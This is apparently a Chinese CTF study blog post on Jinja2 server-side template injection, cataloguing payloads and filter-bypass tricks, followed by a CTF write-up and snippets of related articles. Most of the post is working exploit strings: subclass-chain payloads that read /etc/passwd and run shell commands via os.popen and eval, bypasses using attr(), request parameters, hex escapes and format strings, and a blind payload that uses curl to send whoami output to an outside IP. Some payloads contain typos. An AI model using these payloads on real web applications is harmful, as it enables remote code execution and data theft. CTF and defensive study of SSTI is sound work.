SSTI模板注入及绕过姿势(基于Python-Jinja2)

article/2025/10/10 3:50:58

前言:​SSTI(服务端模板注入),已然不再是一个新话题,近年来的CTF中还是也经常能遇到的,比如护网杯的easy_tonado、TWCTF的Shrine,19年的SCTF也出了Ruby ERB SSTI的考点;本篇对这部分总结一下,方便未来做题和复习的时候查阅!也欢迎各路大佬在评论区指正或者放出自己的WP链接互相学习!

文章目录

  • 各框架模板结构:(网图)
  • 前置知识
    • 简介
    • 利用流程
    • 常用函数
  • 常见Payload
    • 文件读取
    • 通用命令执行
  • 绕过姿势
    • 过滤`{{`或者`}}`
    • 过滤`_`
    • 过滤`.`
      • 举例
    • 过滤`[]`
    • 利用请求方式requests绕过
      • 举例:
    • 绕过config参数
    • 其他绕过姿势(来自P3师傅)
      • 删除了很多模块,但是没有删除reload
      • EASY前置
      • python的格式化字符串特性
  • WP部分
    • 方法一
    • 方法二
    • 方法三
  • 参考文章

各框架模板结构:(网图)

在这里插入图片描述

前置知识

简介

首先​简单说一下什么是SSTI(Server-Side Template Injection);即模板注入,与我们熟知的SQL注入、命令注入等原理大同小异。注入的原理可以这样描述:当用户的输入数据没有被合理的处理控制时,就有可能数据插入了程序段中变成了程序的一部分,从而改变了程序的执行逻辑;
漏洞成因在于:render_template函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。

利用流程

获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块

常用函数

__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

常见Payload

文件读取


# python3{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('cat /fl4g|base64').read()}}# python2{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}  

新发现的新利用(赶紧收集了)

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()

通用命令执行


{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}{% endfor %}{% endif %}
{% endfor %}

绕过姿势

过滤{{或者}}

可以使用{%绕过
{%%}中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://39.105.116.195:8080/?i=`whoami`').read()=='p' %}1{% endif %}

过滤_

用编码绕过

比如:__class__ => \x5f\x5fclass\x5f\x5f

_\x5f.\x2E
过滤了_可以用dir(0)[0][0]或者request['args']或者 request['values']绕过
但是如果还过滤了 args所以我们用request[‘values’]和attr结合绕过
例如''.__class__写成 ''|attr(request['values']['x1']),然后post传入x1=__class__

过滤.

.在payload中是很重要的,但是我们依旧可以采用attr()[]绕过

举例

  • 正常payload:
url?name={{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}`

使用attr()绕过:

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}

使用[]绕过:
可以用getitem()用来获取序号

url?name={{ config['__class__']['__init__']['__globals__']['os']['popen']('ipconfig')['read']() }}

其他:
''.__class__可以写成 getattr('',"__class__")或者 ’'|attr("__class__")

过滤[]

可以用getitem()用来获取序号

"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)

利用请求方式requests绕过

  • 如果对我们特定的参数进行了严格的过滤,我们就可以使用request来进行绕过,request可以获得请求的相关信息,我们拿过滤__class__,可以用request.args.t1且以GET方式提交t1=__class__来替换被过滤的__class__

举例:

例一:

{{''.__class__}} => {{''[request.args.t1]}}&t1=__class__

例二:

{{''.__class__}} => {{''[request['args']['t1']]}}&t1=__class__

因为很重要再重复一遍!!!!
过滤了_可以用dir(0)[0][0]或者request['args']或者 request['values']绕过
但是如果还过滤了 args所以我们用request[‘values’]和attr结合绕过
例如''.__class__写成 ''|attr(request['values']['x1']),然后post传入x1=__class__

绕过config参数

{{config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag
但是如果被过滤了

{{self}}<TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config

其他绕过姿势(来自P3师傅)

删除了很多模块,但是没有删除reload

reload(__builtins__),重新加载被删除的模块,直接命令执行,只用于py2  

EASY前置

Flask在渲染模板的时候,有

"".__class__===""["__class__"]

这一特性,把上下文变成了[]中的字符串,这个特性经常会被用来绕过点号的过滤。
由于里面的内容已经是字符串了,还可以做一个这样的变形

"".__class__===""["__cla"+"ss__"]

如果过滤了很多重要的参数呢?

python的格式化字符串特性

因为python的字符串格式化允许指定ascii码为字符
如果放到flask里,就可以改写成
"{0:c}"['format'](97)
测试一下没问题哈
在这里插入图片描述

那么__class__就可以变成

{{""['{0:c}'['format'](95)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](99)%2b'{0:c}'['format'](108)%2b'{0:c}'['format'](97)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](95)]}}

注意:+号要编码

WP部分

方法一

输入name=admin发现存在回显,猜测为模板注入,经过测试发现过滤了 . _和很多的关键字,我要吐了
使用
().__class__.__base__.__subclasses__()[233].__init__.__globals__['builtins']['eval'](_import__("os").popen('想要执行的命令').read())
分别看下相应重要的语句执行运行截图吧,熟悉一下
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
然后用ls /查看根目录,最后利用cat命令访问/fl4g文件cat /fl4g|base64

最终payload
{{%22%22[%22\x5f\x5fclass\x5f\x5f%22][%22\x5F\x5Fbase\x5F\x5F%22][%22\x5F\x5Fsubclasses\x5F\x5F%22]()[233][%22\x5F\x5Finit\x5F\x5F%22][%22\x5F\x5Fglobals\x5F\x5F%22][%22\x5F\x5Fbuiltins\x5F\x5F%22][%27eval%27](%22\x5F\x5Fimport\x5F\x5F(%27os%27)%22)['popen']('cat /fl4g|base64')['read']()}}
得到flag
在这里插入图片描述

方法二

利用上面讲过的绕过构造
url?name={{ ()|attr(request['values']['x1'])|attr(request['values']['x2'])| attr(request['values']['x3'])()|attr(request['values']['x6'])(233)| attr(request['values']['x4'])| attr(request['values']['x5'])| attr(request['values']['x6'])(request['values']['x7'])| attr(request['values']['x6'])(request['values']['x8'])(request['values']['x9']) }}
然后post传入x1=__class__&x2=__base__&x3=__subclasses__&x4=__init__&x5=__globals__&x6=__getitem__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat /fl4g|base64‘).read()

方法三

利用Python语言特性上面说过自己翻但是这个Payload就太长了,我懒得写出来了

参考文章

其他一些比较详细知识可以阅读这几位师傅的文章
CTF SSTI(服务器模板注入)
利用Python字符串格式化特性绕过ssti过滤
SSTI/沙盒逃逸详细总结
SSTI Bypass 学习 (Python3&jinja2
利用Python字符串格式化特性绕过ssti过滤


http://chatgpt.dhexx.cn/article/VFd2LGEn.shtml

相关文章

SSTI (服务器模板注入)

先来一波flask ssti漏洞的代码。 #python3 #Flask version:0.12.2 #Jinja2: 2.10 from flask import Flask, request from jinja2 import Template app Flask(__name__) app.route("/") def index():name request.args.get(name, guest)t Template("Hello &…

初步认识SSTI

SSTI简介 SSTI&#xff0c;即服务端模板注入&#xff0c;起因是服务端接收了用户的输入&#xff0c;将其作为 Web 应用模板内容的一部分&#xff0c;在进行目标编译渲染的过程中&#xff0c;执行了用户插入的恶意内容&#xff0c;从而导致各种各样的问题。 Python SSTI(flask…

ISCC SSTI

先找参数吧&#xff0c;通过信息搜集&#xff0c;参数是xiaodouni 就是小豆泥的英文&#xff0c;这个是暹罗猫的一个名字吧 然后直接放两个payload的吧 看不懂的可以看一下我以前的文章CTFshow ssti里面讲了思路&#xff0c;这里就不再解释了。 {%set pp(dict(popa))|join%} …

SSTI 学习笔记

PHP SSTI(Twig) 学习文章 进入环境&#xff0c;左上角有flag,hint 都检查看看 flag页面显示ip&#xff0c;hint页面源代码有提示 考虑XFF头或者referer头 测试一下 注&#xff1a;这里不用加上“&#xff1b;” 出来了 python flask ssti 学习文章 原理&#xff1a;因为对输…

浅学Go下的ssti

前言 作为强类型的静态语言&#xff0c;golang的安全属性从编译过程就能够避免大多数安全问题&#xff0c;一般来说也唯有依赖库和开发者自己所编写的操作漏洞&#xff0c;才有可能形成漏洞利用点&#xff0c;在本文&#xff0c;主要学习探讨一下golang的一些ssti模板注入问题…

SSTI——java里的ssti

1.Velocity 2.FreeMarker 因为从来没接触过java语言 所以对这些也是基本上一窍不通 这里只简单的提及 不做具体介绍 会找一下题来做 但是没有找到有关java ssti的题目 confusion1 看一下描述 打开题目 没发现什么东西 但是 login register页面显示访问不成功 查看源代码找到…

详解SSTI模板注入

详解SSTI模板注入 SSTI简介常见的模板引擎PHPJAVAPYTHONRUBYGOLANG SSTI产生的原因常用检测工具 TplmapFlask/Jinja模板引擎的相关绕过Flask简介demo漏洞代码基础知识沙盒逃逸Python的内建函数名称空间类继承 寻找Python-SSTI攻击载荷的过程攻击载荷过程常用的目标函数常见的中…

web安全-SSTI模板注入漏洞

一.初识SSTI 1.什么是SSTI注入&#xff1f; SSTI模板注入(Server-Side Template Injection)&#xff0c;通过与服务端模板的输入输出交互&#xff0c;在过滤不严格的情况下&#xff0c;构造恶意输入数据&#xff0c;从而达到读取文件或者getshell的目的。 2.SSTI漏洞成因 ​…

BugKu:Simple_SSTI(SSTI模板注入)

目录 1.Simple_SSTI_1 2.Simple_SSTI_2 1.Simple_SSTI_1 点击链接进入&#xff0c;题目说&#xff1a; You need pass in a parameter named flag。(你需要传入一个名为flag的参数)然后我们可以直接f12查看&#xff0c;也可以右击页面--->“检查” 如图所示&#xff0c;我…

SSTI模板注入绕过(进阶篇)

文章目录 语法变量过滤器总结获取内置方法 以chr为例字符串构造获取键值或下标获取属性 下面的内容均以jinja2为例&#xff0c;根据官方文档来探寻绕过方法 文档链接 默认大家都已经可以利用没有任何过滤的模板注入 语法 官方文档对于模板的语法介绍如下 {% ... %} for State…

学习ssti

ssti也叫做模板注入 当不正确的使用模板引擎进行渲染时&#xff0c;则会造成模板注入 比如render_template_string函数&#xff0c;当参数可控时&#xff0c;会造成模板注入 在Python的ssti中&#xff0c;大部分是依靠基类->子类->危险函数的方式来利用ssti python沙…

Simple_SSTI_1与Simple_SSTI_2

目录 一&#xff0c;Simple_SSTI_1 二&#xff0c;Simple_SSTI_2 一&#xff0c;Simple_SSTI_1 首先打开场景&#xff1a; 然后F12查看一下源码&#xff1a; 于是通过百度相关知识寻找线索&#xff1a; 1&#xff0c;SSTI &#xff1a;服务器端模版注入是指攻击者能够使用本…

Flask SSTI漏洞介绍及利用

1.ssti成因 flask使用jinjia2渲染引擎进行网页渲染&#xff0c;当处理不得当&#xff0c;未进行语句过滤&#xff0c;用户输入{{控制语句}}&#xff0c;会导致渲染出恶意代码&#xff0c;形成注入。 2.使用render_template()渲染页面时不存在注入漏洞。 对传入的参数不会执行…

ssti小总结

漏洞简介 SSTI即服务端模版注入攻击。由于程序员代码编写不当&#xff0c;导致用户输入可以修改服务端模版的执行逻辑&#xff0c;从而造成XSS,任意文件读取&#xff0c;代码执行等一系列问题. 1. 几种常用于ssti的魔术方法 __class__ 返回类型所属的对象 __mro__ 返回一个…

SSTI---总结

Laravel Blade是Laravel提供的一个既简单又强大的模板引擎 和其他流行的PHP模板引擎不一样&#xff0c;Blade并不限制你在视图view中使用原生的PHP代码 所有的Blade视图页面都将被编译成原生的PHP代码并缓存起来&#xff0c;除非你的的模板文件修改&#xff0c;否则不会重新编…

SSTI入门详解

文章目录 关于基于flask的SSTI漏洞的阶段学习小结&#xff1a;SSTI的理解&#xff1a;SSTI引发的真正原因&#xff1a;render_template渲染函数是什么&#xff1a;render_template&#xff1a;注入的思想&#xff1a;playload 娓娓道来&#xff1a;魔术对象&#xff1a;用魔术对…

SSTI完全学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI…

SSTI简单总结和例题

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 前言 一、SSTI是什么&#xff1f; 二、关于Python的类 1、__class__类 2、__bases__ 3、__subclasses__ 4、还用到过的一些类 三、SSTI漏洞的简单复现 四、CTF…

SSTI模板注入

SSTI模板注入 1.SSTI简介 SSTI 就是服务器端模板注入&#xff08;Server-Side Template Injection&#xff09; ​ 当前使用的一些框架&#xff0c;比如python的flask&#xff0c;php的tp&#xff0c;java的spring等一般都采用成熟的的MVC的模式&#xff0c;用户的输入先进入…

SSTI基础学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection)&#xff0c;也给出了一个注入的概念。 常见的注入有&#xff1a;SQL 注入&#xff0c;XSS 注入&#xff0c;XPATH 注入&#xff0c;XML 注入&#xff0c;代码注入&#xff0c;命令注入等等。SSTI也是…